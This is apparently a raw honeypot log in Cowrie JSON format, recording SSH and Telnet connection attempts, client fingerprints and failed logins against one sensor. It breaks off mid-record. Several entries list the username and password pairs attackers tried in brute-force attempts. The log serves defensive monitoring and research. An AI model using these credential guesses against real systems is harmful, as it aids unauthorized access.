{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33308,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7da8ddb1dd8","protocol":"ssh","message":"New connection: 45.153.34.114:33308 (159.203.135.109:22) [session: e7da8ddb1dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:22.719436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:22.724016Z","src_ip":"45.153.34.114","session":"e7da8ddb1dd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:22.825690Z","src_ip":"45.153.34.114","session":"e7da8ddb1dd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:23.346777Z","src_ip":"45.153.34.114","session":"e7da8ddb1dd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33530,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8042d778b74","protocol":"telnet","message":"New connection: 74.91.213.120:33530 (159.203.135.109:23) [session: a8042d778b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:24.262005Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:24.442109Z","src_ip":"45.153.34.114","session":"e7da8ddb1dd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33542,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9f2c67e01b5","protocol":"telnet","message":"New connection: 74.91.213.120:33542 (159.203.135.109:23) [session: d9f2c67e01b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:26.521354Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60244,"dst_ip":"159.203.135.109","dst_port":22,"session":"18ea80d858cf","protocol":"ssh","message":"New connection: 45.153.34.114:60244 (159.203.135.109:22) [session: 18ea80d858cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:29.873153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:29.877540Z","src_ip":"45.153.34.114","session":"18ea80d858cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:29.969124Z","src_ip":"45.153.34.114","session":"18ea80d858cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:30.336230Z","src_ip":"45.153.34.114","session":"18ea80d858cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.014107704162598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:30.891993Z","src_ip":"74.91.213.120","session":"adce5c67d6d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:31.426167Z","src_ip":"45.153.34.114","session":"18ea80d858cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":59558,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b11fafaf56","protocol":"ssh","message":"New connection: 45.61.187.220:59558 (159.203.135.109:22) [session: 23b11fafaf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:31.572339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:31.578120Z","src_ip":"45.61.187.220","session":"23b11fafaf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:31.631878Z","src_ip":"45.61.187.220","session":"23b11fafaf56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweQWE","message":"login attempt [root/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:31.845130Z","src_ip":"45.61.187.220","session":"23b11fafaf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15252423286438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:32.050717Z","src_ip":"74.91.213.120","session":"04eb69b77706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163685083389282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:32.372217Z","src_ip":"74.91.213.120","session":"5e3549aad2c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:32.892377Z","src_ip":"45.61.187.220","session":"23b11fafaf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43894,"dst_ip":"159.203.135.109","dst_port":23,"session":"7513354e115d","protocol":"telnet","message":"New connection: 74.91.213.120:43894 (159.203.135.109:23) [session: 7513354e115d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:34.248502Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":12189,"dst_ip":"10.17.0.5","dst_port":22,"session":"343cdac84248","protocol":"ssh","message":"New connection: 175.107.32.186:12189 (10.17.0.5:22) [session: 343cdac84248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:34.318564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:34.323687Z","src_ip":"175.107.32.186","session":"343cdac84248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:34.548414Z","src_ip":"175.107.32.186","session":"343cdac84248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"$BLANKPASS","message":"login attempt [root/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:35.474381Z","src_ip":"175.107.32.186","session":"343cdac84248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:36.704990Z","src_ip":"175.107.32.186","session":"343cdac84248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60248,"dst_ip":"159.203.135.109","dst_port":22,"session":"55a925ff1081","protocol":"ssh","message":"New connection: 45.153.34.114:60248 (159.203.135.109:22) [session: 55a925ff1081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:36.940781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:37.052279Z","src_ip":"45.153.34.114","session":"55a925ff1081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:37.055898Z","src_ip":"45.153.34.114","session":"55a925ff1081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:37.394696Z","src_ip":"45.153.34.114","session":"55a925ff1081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14874839782715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:37.650397Z","src_ip":"74.91.213.120","session":"ac84c021d639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:38.479563Z","src_ip":"45.153.34.114","session":"55a925ff1081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33526,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e447e6b19ca","protocol":"telnet","message":"New connection: 74.91.213.120:33526 (159.203.135.109:23) [session: 0e447e6b19ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:39.216792Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":49158,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b622a4003a1","protocol":"ssh","message":"New connection: 66.113.163.125:49158 (159.203.135.109:22) [session: 5b622a4003a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:41.437507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:41.441579Z","src_ip":"66.113.163.125","session":"5b622a4003a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:41.484872Z","src_ip":"66.113.163.125","session":"5b622a4003a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch12345","message":"login attempt [root/Netwatch12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:41.667100Z","src_ip":"66.113.163.125","session":"5b622a4003a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:42.705235Z","src_ip":"66.113.163.125","session":"5b622a4003a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":45106,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6d02816c9f","protocol":"telnet","message":"New connection: 74.91.213.120:45106 (159.203.135.109:23) [session: bc6d02816c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:42.875638Z"}
{"eventid":"cowrie.session.closed","duration":31.13893151283264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:43.540497Z","src_ip":"74.91.213.120","session":"58487e76538b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40350,"dst_ip":"159.203.135.109","dst_port":22,"session":"15a748f043b1","protocol":"ssh","message":"New connection: 45.153.34.114:40350 (159.203.135.109:22) [session: 15a748f043b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:44.298494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:44.302696Z","src_ip":"45.153.34.114","session":"15a748f043b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:44.387297Z","src_ip":"45.153.34.114","session":"15a748f043b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:44.641014Z","src_ip":"45.153.34.114","session":"15a748f043b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40962,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f2fe9f495a8","protocol":"ssh","message":"New connection: 2.57.121.112:40962 (159.203.135.109:22) [session: 8f2fe9f495a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:45.463714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:45.468401Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hm